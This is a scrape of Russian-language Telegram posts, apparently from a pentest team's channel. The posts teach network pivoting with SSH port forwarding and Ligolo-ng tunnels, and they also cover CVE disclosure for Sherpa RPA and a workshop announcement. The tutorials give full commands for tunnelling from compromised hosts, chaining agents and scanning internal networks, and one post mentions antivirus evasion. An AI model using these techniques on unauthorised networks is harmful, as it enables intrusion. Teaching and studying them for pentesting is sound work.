🔐 SSH 1/2
Это самый простой и доступный способ пивотинга, не требующий установки дополнительных инструментов.
Сервис SSH поддерживает возможность проброса портов, что делает его удобным инструментом для обеспечения доступа к изолированным ресурсам сети через доступные узлы.
Если у вас есть SSH-доступ к узлу внутри сети, вы можете использовать его в качестве транспорта для доступа к другим сервисам, недоступным напрямую. Это особенно полезно при обходе ограничений или при необходимости безопасного доступа к внутренним приложениям.
🛠Local port forwarding
Представим ситуацию: на скомпрометированном SSH-сервере
Эта команда создаст SSH-подключение к
Теперь при использовании
🛠Dynamic port forwarding
А что, если мы не хотим ограничиваться каким-то определённым портом или хостом? В таком случае у сервиса SSH есть функциональность работы в качестве SOCKS-прокси. Для использования данной функциональности нужно указать флаг
Пример создания SSH-подключения к
В результате на нашей машине откроется локальный порт 1080, который начнёт функционировать как SOCKS-прокси. Теперь можно без препятствий сканировать и подключаться к любым узлам, доступным с машины
Перед запуском proxychains стоит проверить, какой порт у вас установлен в разделе ProxyList в файле
Таким образом, сканирование хоста 10.1.1.1 через SSH-сервер
Обратите внимание, что при сканировании через proxychains не получится использовать SYN-сканирование. Вместо этого нужно будет использовать полноценный Connect-скан (-sT).
Это самый простой и доступный способ пивотинга, не требующий установки дополнительных инструментов.
Сервис SSH поддерживает возможность проброса портов, что делает его удобным инструментом для обеспечения доступа к изолированным ресурсам сети через доступные узлы.
Если у вас есть SSH-доступ к узлу внутри сети, вы можете использовать его в качестве транспорта для доступа к другим сервисам, недоступным напрямую. Это особенно полезно при обходе ограничений или при необходимости безопасного доступа к внутренним приложениям.
🛠Local port forwarding
Представим ситуацию: на скомпрометированном SSH-сервере
host1 мы нашли учетные данные для подключения к PostgreSQL, но самого psql-клиента на сервере нет, а также у нас нет прав для установки пакета. В таком случае, мы можем установить на свой хост psql-клиент и выполнить проброс трафика на сервер с базой данной PostgreSQL (host2).
ssh -L 9999:host2:5432 user@host1
Эта команда создаст SSH-подключение к
host1, при этом пробросит трафик с localhost:9999 нашей машины на порт 5432 сервера host2. Теперь при использовании
psql на нашей машине, мы можем подключиться к БД на host2 через host1.
psql -h localhost -p 9999 -U postgres
🛠Dynamic port forwarding
А что, если мы не хотим ограничиваться каким-то определённым портом или хостом? В таком случае у сервиса SSH есть функциональность работы в качестве SOCKS-прокси. Для использования данной функциональности нужно указать флаг
-D и порт. Все запросы, направленные на этот локальный порт, обрабатываются через данный прокси и перенаправляются к конечным адресатам.Пример создания SSH-подключения к
host1 с поднятием SOCKS-прокси:
ssh -D 1080 user@host1
В результате на нашей машине откроется локальный порт 1080, который начнёт функционировать как SOCKS-прокси. Теперь можно без препятствий сканировать и подключаться к любым узлам, доступным с машины
host1 — например, используя proxychains для проксирования трафика через настроенный туннель. Перед запуском proxychains стоит проверить, какой порт у вас установлен в разделе ProxyList в файле
proxychains.conf.Таким образом, сканирование хоста 10.1.1.1 через SSH-сервер
host1 будет выполняться так:
proxychains4 nmap -Pn -n -sT -sV --version-all -v 10.1.1.1 -oA result
Обратите внимание, что при сканировании через proxychains не получится использовать SYN-сканирование. Вместо этого нужно будет использовать полноценный Connect-скан (-sT).
7🔥12 7👍5
Продолжаем наш цикл заметок про Pivoting. На этот раз поговорим про Remote port forwarding.
🔗 Remote port forwarding
Может возникнуть ситуация, когда на скомпрометированном узле
host1 нет SSH-сервера, но есть SSH-клиент. Пусть мы также нашли учетные данные для подключения к PostgreSQL, расположенном на сервере host2, доступном с host1, но при этом на host1 psql-клиента нет, а также у нас нет прав для установки пакета. В таком случае мы можем подключиться c host1 по SSH к своему серверу для последующего перенаправления трафика к PostgreSQL на host2:
ssh -R 9999:host2:5432 user@our-server.com
Теперь при подключении к локальному порту 9999 на нашем сервере трафик будет перенаправляться на порт 5432 сервера
host2 через host1.При использовании Remote port forwarding также можно поднять динамический SOCKS-прокси-сервер. Если при подключении по SSH для флага
-R не указывать конкретный порт и хост, то на удалённом сервере автоматически создаётся SOCKS-прокси. То есть, при подключении с host1 к нашему серверу мы получаем универсальный способ проксирования трафика через SSH.
ssh -R 127.0.0.1:1080 user@our-server.com
В результате на сервере
our-server.com откроется локальный порт 1080, который будет функционировать как SOCKS-прокси. Все запросы, направленные на этот порт, будут обрабатываться SOCKS-прокси и перенаправляться через host1 к конечным адресатам.Теперь, по аналогии с флагом
-D, мы можем использовать proxychains для взаимодействия с узлами внутри сети:
proxychains4 nmap -Pn -n -sT -sV --version-all -v 10.1.1.1 -oA result
Please open Telegram to view this post
VIEW IN TELEGRAM
1 9👾3🔥1🤔1
🔄 Reverse TCP/TLS tunnel (1/4)
🔍 Введение
Продолжаем серию заметок о пивотинге — сегодня поговорим о Reverse TCP/TLS туннеле на базе Ligolo-ng.
Инструмент написан на Golang и позволяет удобно создавать туннели для обхода сетевых ограничений. Стоит учитывать, что ligolo может детектироваться антивирусным ПО и для обфускации кода можно использовать, например, garble в связке с upx, но эта уже совсем другая история.
Ligolo состоит из серверной и клиентской (агентской) частей, при этом клиентская часть не требует административных привилегий для работы. Инструмент весьма удобен - создает виртуальный TUN-интерфейс, что позволяет напрямую маршрутизировать трафик во внутреннюю сеть без необходимости настройки SOCKS-прокси, а также поддерживает хорошую скорость передачи данных. Это позволяет использовать различные инструменты без потерь в функциональности при проксировании. Кроме того, Ligolo поддерживает DNS-разрешение имен во внутренней сети, а также позволяет достаточно просто создавать цепочки туннелей из нескольких Ligolo-клиентов.
Перейдем к практике. У Ligolo есть очень подробная документация вот тут. В заметке мы расскажем только про основные моменты.
Скомпилируем серверную часть под Linux, а клиентскую под Windows и Linux под разные архитектуры:
🔍 Введение
Продолжаем серию заметок о пивотинге — сегодня поговорим о Reverse TCP/TLS туннеле на базе Ligolo-ng.
Инструмент написан на Golang и позволяет удобно создавать туннели для обхода сетевых ограничений. Стоит учитывать, что ligolo может детектироваться антивирусным ПО и для обфускации кода можно использовать, например, garble в связке с upx, но эта уже совсем другая история.
Ligolo состоит из серверной и клиентской (агентской) частей, при этом клиентская часть не требует административных привилегий для работы. Инструмент весьма удобен - создает виртуальный TUN-интерфейс, что позволяет напрямую маршрутизировать трафик во внутреннюю сеть без необходимости настройки SOCKS-прокси, а также поддерживает хорошую скорость передачи данных. Это позволяет использовать различные инструменты без потерь в функциональности при проксировании. Кроме того, Ligolo поддерживает DNS-разрешение имен во внутренней сети, а также позволяет достаточно просто создавать цепочки туннелей из нескольких Ligolo-клиентов.
Перейдем к практике. У Ligolo есть очень подробная документация вот тут. В заметке мы расскажем только про основные моменты.
Скомпилируем серверную часть под Linux, а клиентскую под Windows и Linux под разные архитектуры:
git clone https://github.com/nicocha30/ligolo-ng
cd ligolo-ng
GOOS=linux GOARCH=amd64 go build -o server cmd/proxy/main.go
GOOS=windows GOARCH=amd64 go build -o client.exe cmd/agent/main.go
GOOS=linux GOARCH=arm64 go build -o client cmd/agent/main.go
9 9👍3👾3
🔄 Reverse TCP/TLS tunnel (2/4)
🔧 Базовое использование
Запустим сервер на нашем хосте (далее server) с самоподписанным сертификатом, хотя можно использовать и свой сертификат (флаги certfile и autocert).
Создадим в консоли ligolo TUN интерфейс, а также выведем отпечаток используемого сертификата для последующей настройки подключения клиентом.
Cобранный бинарный файл клиента запустим на сервере, через который хотим проксировать трафик (далее client_1). Необходимо указать полученный отпечаток сертификата.
Проверим на серверной стороне успешность подключения, выберем номер сесии клиента, а также посмотрим существующие интерфейсы на машине client_1. После чего запустим туннель.
Теперь на машине server необходимо прописать маршруты до нужных подсетей, доступных с машины client_1 (вот почему рекомендовали tmux).
После чего можно производить любые манипуляции с изолированными хостами, например сканировать недоступные напрямую сети или подключаться по RDP. Стоит отметить, что если клиент был запущен без административных привилегий, то nmap не сможет корректно использовать raw-сокеты, поэтому лучше все равно его запускать с флагом --unprivileged.
🔧 Базовое использование
Запустим сервер на нашем хосте (далее server) с самоподписанным сертификатом, хотя можно использовать и свой сертификат (флаги certfile и autocert).
Sudo потребуется для создания TUN интерфейса. Рекомендуем стартовать сервер в tmux для последующей настройки маршрутов.
sudo ./server -selfcert -laddr 0.0.0.0:11601
Создадим в консоли ligolo TUN интерфейс, а также выведем отпечаток используемого сертификата для последующей настройки подключения клиентом.
interface_create --name 'ligolo'
certificate_fingerprint
Cобранный бинарный файл клиента запустим на сервере, через который хотим проксировать трафик (далее client_1). Необходимо указать полученный отпечаток сертификата.
./client -connect <SERVER-IP>:11601 -accept-fingerprint <Cert_fingerprint>
Проверим на серверной стороне успешность подключения, выберем номер сесии клиента, а также посмотрим существующие интерфейсы на машине client_1. После чего запустим туннель.
session
ifconfig
start или tunnel_start --tun <name of interface>
Теперь на машине server необходимо прописать маршруты до нужных подсетей, доступных с машины client_1 (вот почему рекомендовали tmux).
sudo ip route add <NETWORK> dev ligolo
После чего можно производить любые манипуляции с изолированными хостами, например сканировать недоступные напрямую сети или подключаться по RDP. Стоит отметить, что если клиент был запущен без административных привилегий, то nmap не сможет корректно использовать raw-сокеты, поэтому лучше все равно его запускать с флагом --unprivileged.
nmap -Pn -n -sT -sV 172.26.100.150 -v
xfreerdp /u:<username> /p:<userpassword> /v:172.26.100.150:3389
11 14👍4🔥3
🔄 Reverse TCP/TLS tunnel (3/4)
🔗 Проброс портов
В ligolo существует полезная функциональность проброса портов для создания цепочек или перенаправления трафика. Например, мы хотим произвести проброс через несколько узлов, либо же перенаправлять трафик, который таргетированно идет на машину жертвы, к нам.
Для этого на стороне server в консоли ligolo выполним следующую команду для проброса порта 4444 клиента в работающий туннель на локальный порт 5555 на стороне сервера (можно указать конкретый IP:port).
Чтобы вывести текущие пробросы и остановить необходимые, можно использовать команды:
Используя проброс портов можно объединять клиентов (server → client_1 → client_2) в цепочку. Для этого на сервере сделаем проброс порта 4443 на первом клиенте (client_1), доступном напрямую атакующему.
После чего подключим client_2 через client_1 к серверу.
🔗 Проброс портов
В ligolo существует полезная функциональность проброса портов для создания цепочек или перенаправления трафика. Например, мы хотим произвести проброс через несколько узлов, либо же перенаправлять трафик, который таргетированно идет на машину жертвы, к нам.
Для этого на стороне server в консоли ligolo выполним следующую команду для проброса порта 4444 клиента в работающий туннель на локальный порт 5555 на стороне сервера (можно указать конкретый IP:port).
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:5555
Чтобы вывести текущие пробросы и остановить необходимые, можно использовать команды:
listener_list
listener_stop
Используя проброс портов можно объединять клиентов (server → client_1 → client_2) в цепочку. Для этого на сервере сделаем проброс порта 4443 на первом клиенте (client_1), доступном напрямую атакующему.
listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:11601
После чего подключим client_2 через client_1 к серверу.
./client -connect <CLIENT_1 IP>:11601 -accept-fingerprint <Cert_fingerprint>
1 9🔥4👍3
🔄 Reverse TCP/TLS tunnel (4/4)
⚙️ Bind-режим
Кроме того, возможна работа с использованием bind-подключения, что может быть полезно, например, при обходе ограничений на исходящие соединения на стороне жертвы. Для этого запускаем клиент
Подключаемся к нему сервером, после чего все как при обычном взаимодействии.
⚙️ Bind-режим
Кроме того, возможна работа с использованием bind-подключения, что может быть полезно, например, при обходе ограничений на исходящие соединения на стороне жертвы. Для этого запускаем клиент
./client -bind 0.0.0.0:4444
Подключаемся к нему сервером, после чего все как при обычном взаимодействии.
sudo ./server -selfcert
connect_agent --ip <CLIENT_1 IP>:4444
Недавно обнаружили несколько уязвимостей в ПО Sherpa RPA Orchestrator и передали технические подробности вендору.
К сожалению, вендор не проявил заинтересованности в исправлении уязвимостей и перестал отвечать, после передачи технических подробностей.
Выждав 90 дней, мы обратились в MITRE и БДУ ФСТЭК, чтобы поставить в известность пользователей данного ПО.
Делимся своим опытом:
При обращении в БДУ ФСТЭК (https://bdu.fstec.ru/contacts/vulreport), происходит официальное уведомление вендора о наличии уязвимости и необходимости ее устранить.
Весь процесс от подачи заявки для регистрации уязвимостей до их публикации, а также исправления занял у нас 120 дней.
Представители БДУ ФСТЭК оказали влияние на вендора для исправления уязвимостей и зарегистрировали их:
https://bdu.fstec.ru/vul/2025-03851
https://bdu.fstec.ru/vul/2025-03852
https://bdu.fstec.ru/vul/2025-03853
https://bdu.fstec.ru/vul/2025-03854
А еще у БДУ ФСТЭК есть классный рейтинг: https://bdu.fstec.ru/rating.
Если требуется зарегистрировать CVE, то быстрее всего получится это сделать через MITRE (https://cveform.mitre.org/).
Также можете попробовать подать через https://vuldb.com/.
А если и тут не получится, то можно попробовать пристыдить их в твиттере🙂
Весь процесс от подачи заявки для регистрации CVE до их публикации составил 51 день.
Из минусов - MITRE могут посчитать неверно CVSS, но кто вообще смотрит на CVSS, верно?)
Ссылки на зарегистрированные CVE:
https://nvd.nist.gov/vuln/detail/CVE-2025-46544
https://nvd.nist.gov/vuln/detail/CVE-2025-46545
https://nvd.nist.gov/vuln/detail/CVE-2025-46546
https://nvd.nist.gov/vuln/detail/CVE-2025-46547
К сожалению, вендор не проявил заинтересованности в исправлении уязвимостей и перестал отвечать, после передачи технических подробностей.
Выждав 90 дней, мы обратились в MITRE и БДУ ФСТЭК, чтобы поставить в известность пользователей данного ПО.
Делимся своим опытом:
При обращении в БДУ ФСТЭК (https://bdu.fstec.ru/contacts/vulreport), происходит официальное уведомление вендора о наличии уязвимости и необходимости ее устранить.
Весь процесс от подачи заявки для регистрации уязвимостей до их публикации, а также исправления занял у нас 120 дней.
Представители БДУ ФСТЭК оказали влияние на вендора для исправления уязвимостей и зарегистрировали их:
https://bdu.fstec.ru/vul/2025-03851
https://bdu.fstec.ru/vul/2025-03852
https://bdu.fstec.ru/vul/2025-03853
https://bdu.fstec.ru/vul/2025-03854
А еще у БДУ ФСТЭК есть классный рейтинг: https://bdu.fstec.ru/rating.
Если требуется зарегистрировать CVE, то быстрее всего получится это сделать через MITRE (https://cveform.mitre.org/).
Также можете попробовать подать через https://vuldb.com/.
А если и тут не получится, то можно попробовать пристыдить их в твиттере
Весь процесс от подачи заявки для регистрации CVE до их публикации составил 51 день.
Из минусов - MITRE могут посчитать неверно CVSS, но кто вообще смотрит на CVSS, верно?)
Ссылки на зарегистрированные CVE:
https://nvd.nist.gov/vuln/detail/CVE-2025-46544
https://nvd.nist.gov/vuln/detail/CVE-2025-46545
https://nvd.nist.gov/vuln/detail/CVE-2025-46546
https://nvd.nist.gov/vuln/detail/CVE-2025-46547
Please open Telegram to view this post
VIEW IN TELEGRAM
17🔥15😎3👎1👾1
До Practical Security Village осталось меньше месяца
В этом году воркшоп пройдет в Калининграде на площадке кинотеатра «Заря»
Вас ждут:
Воркшоп пройдет 11-12 сентября в рамках конференции #PAYMENTSECURITY
Регистрация доступна на сайте
Будем рады видеть вас на Practical Security Village!
До встречи!
Please open Telegram to view this post
VIEW IN TELEGRAM
5 14🔥6❤2👀1
На прошлой неделе мы провели наш воркшоп — Practical Security Village
В этом году он проходил в Калининграде в рамках ежегодной конференции PaymentSecurity
Было много заданий на разные темы:
🟡 Active Directory
🟡 Веб
🟡 Мобильные приложения
🟡 AI
🟡 Linux
🟡 Сети
В этот раз мы добавили две hardware-зоны: в одной можно было попробовать себя в атаках на физическом уровне, врезавшись в Ethernet-кабель для перехвата секретного сообщения, а в другой участникам предлагалось спаять собственное устройство и с его помощью решить несколько заданий
Были рады увидеться вживую, поделиться нашим опытом, послушать ваши истории и в целом круто пообщаться!
Начинаем готовиться к следующему PSV 😎
В этом году он проходил в Калининграде в рамках ежегодной конференции PaymentSecurity
Было много заданий на разные темы:
В этот раз мы добавили две hardware-зоны: в одной можно было попробовать себя в атаках на физическом уровне, врезавшись в Ethernet-кабель для перехвата секретного сообщения, а в другой участникам предлагалось спаять собственное устройство и с его помощью решить несколько заданий
Были рады увидеться вживую, поделиться нашим опытом, послушать ваши истории и в целом круто пообщаться!
Начинаем готовиться к следующему PSV 😎
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11 11🔥8😎3❤1👍1